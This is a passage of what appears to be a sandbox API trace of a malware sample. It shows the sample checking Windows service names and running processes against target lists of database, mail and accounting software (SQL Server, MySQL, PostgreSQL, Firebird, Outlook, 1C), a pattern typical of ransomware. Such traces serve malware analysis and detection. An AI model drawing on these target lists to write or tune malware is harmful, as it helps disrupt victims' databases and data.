lpString2="ShellHWDetection") returned -1 [0065.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0065.389] lstrlenW (lpString="Spooler") returned 7 [0065.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0065.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0065.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0065.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0065.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0065.389] lstrlenW (lpString="SysMain") returned 7 [0065.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0065.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0065.389] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0065.389] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0065.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0065.389] lstrlenW (lpString="Themes") returned 6 [0065.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0065.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0065.390] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0065.390] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0065.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0065.390] lstrlenW (lpString="TrkWks") returned 6 [0065.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0065.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0065.390] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0065.390] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0065.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0065.390] lstrlenW (lpString="UxSms") returned 5 [0065.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0065.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0065.390] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0065.390] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0065.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0065.390] lstrlenW (lpString="VSS") returned 3 [0065.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0065.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0065.390] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0065.390] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0065.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0065.390] lstrlenW (lpString="WdiServiceHost") returned 14 [0065.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0065.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0065.390] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0065.390] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0065.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0065.390] lstrlenW (lpString="WdiSystemHost") returned 13 [0065.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0065.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0065.391] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0065.391] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0065.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0065.391] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0065.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0065.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0065.391] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0065.391] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0065.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0065.391] lstrlenW (lpString="Winmgmt") returned 7 [0065.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0065.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0065.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0065.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0065.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0065.391] lstrlenW (lpString="WPDBusEnum") returned 10 [0065.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0065.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0065.391] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0065.391] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0065.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0065.391] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x628500 | out: hHeap=0x5d0000) returned 1 [0065.391] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x19c [0065.398] Process32FirstW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0065.399] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0065.399] lstrlenW (lpString="System") returned 6 [0065.400] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0065.400] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0065.400] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0065.400] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0065.400] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0065.400] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0065.400] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0065.400] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0065.400] lstrlenW (lpString="smss.exe") returned 8 [0065.400] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0065.400] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0065.400] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0065.400] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0065.400] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0065.400] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0065.401] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0065.401] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.402] lstrlenW (lpString="csrss.exe") returned 9 [0065.402] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0065.402] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0065.402] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0065.402] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0065.402] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0065.402] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0065.402] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0065.402] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0065.403] lstrlenW (lpString="wininit.exe") returned 11 [0065.403] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0065.403] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0065.403] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0065.403] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0065.403] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0065.403] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0065.403] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0065.403] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0065.404] lstrlenW (lpString="csrss.exe") returned 9 [0065.404] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0065.404] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0065.405] lstrlenW (lpString="winlogon.exe") returned 12 [0065.405] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0065.405] lstrlenW (lpString="services.exe") returned 12 [0065.405] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0065.406] lstrlenW (lpString="lsass.exe") returned 9 [0065.406] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0065.406] lstrlenW (lpString="lsm.exe") returned 7 [0065.406] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.407] lstrlenW (lpString="svchost.exe") returned 11 [0065.407] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.407] lstrlenW (lpString="svchost.exe") returned 11 [0065.407] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.408] lstrlenW (lpString="svchost.exe") returned 11 [0065.408] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.409] lstrlenW (lpString="svchost.exe") returned 11 [0065.409] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.409] lstrlenW (lpString="svchost.exe") returned 11 [0065.409] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0065.410] lstrlenW (lpString="audiodg.exe") returned 11 [0065.410] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.410] lstrlenW (lpString="svchost.exe") returned 11 [0065.410] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.411] lstrlenW (lpString="svchost.exe") returned 11 [0065.411] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0065.411] lstrlenW (lpString="dwm.exe") returned 7 [0065.411] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0065.412] lstrlenW (lpString="explorer.exe") returned 12 [0065.412] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0065.412] lstrlenW (lpString="spoolsv.exe") returned 11 [0065.412] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0065.413] lstrlenW (lpString="svchost.exe") returned 11 [0065.413] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0065.413] lstrlenW (lpString="taskhost.exe") returned 12 [0065.413] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0065.414] lstrlenW (lpString="taskeng.exe") returned 11 [0065.414] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0065.414] lstrlenW (lpString="spoken.exe") returned 10 [0065.414] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0065.415] lstrlenW (lpString="cut baby kind.exe") returned 17 [0065.415] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0065.416] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0065.416] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0065.417] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0065.417] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0065.417] lstrlenW (lpString="things apt speaker.exe") returned 22 [0065.417] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0065.418] lstrlenW (lpString="longest.exe") returned 11 [0065.418] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0065.418] lstrlenW (lpString="liberty.exe") returned 11 [0065.418] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0065.419] lstrlenW (lpString="robust.exe") returned 10 [0065.419] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0065.419] lstrlenW (lpString="browse.exe") returned 10 [0065.419] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0065.420] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0065.420] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0065.420] lstrlenW (lpString="blocked.exe") returned 11 [0065.420] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0065.421] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0065.421] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0065.421] lstrlenW (lpString="reno.exe") returned 8 [0065.421] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0065.422] lstrlenW (lpString="vancouver.exe") returned 13 [0065.422] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0065.422] lstrlenW (lpString="africa.exe") returned 10 [0065.422] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0065.423] lstrlenW (lpString="ph-pos.exe") returned 10 [0065.423] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0066.141] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0066.142] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0066.142] lstrlenW (lpString="peaceful.exe") returned 12 [0066.142] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0066.143] lstrlenW (lpString="louise_threshold.exe") returned 20 [0066.143] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0066.144] lstrlenW (lpString="scannerhit.exe") returned 14 [0066.144] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0066.144] lstrlenW (lpString="3dftp.exe") returned 9 [0066.144] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0066.145] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0066.145] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0066.145] lstrlenW (lpString="alftp.exe") returned 9 [0066.145] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0066.146] lstrlenW (lpString="barca.exe") returned 9 [0066.146] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0066.146] lstrlenW (lpString="bitkinex.exe") returned 12 [0066.146] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0066.147] lstrlenW (lpString="coreftp.exe") returned 11 [0066.147] Process32NextW (in: hSnapshot=0x19c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, 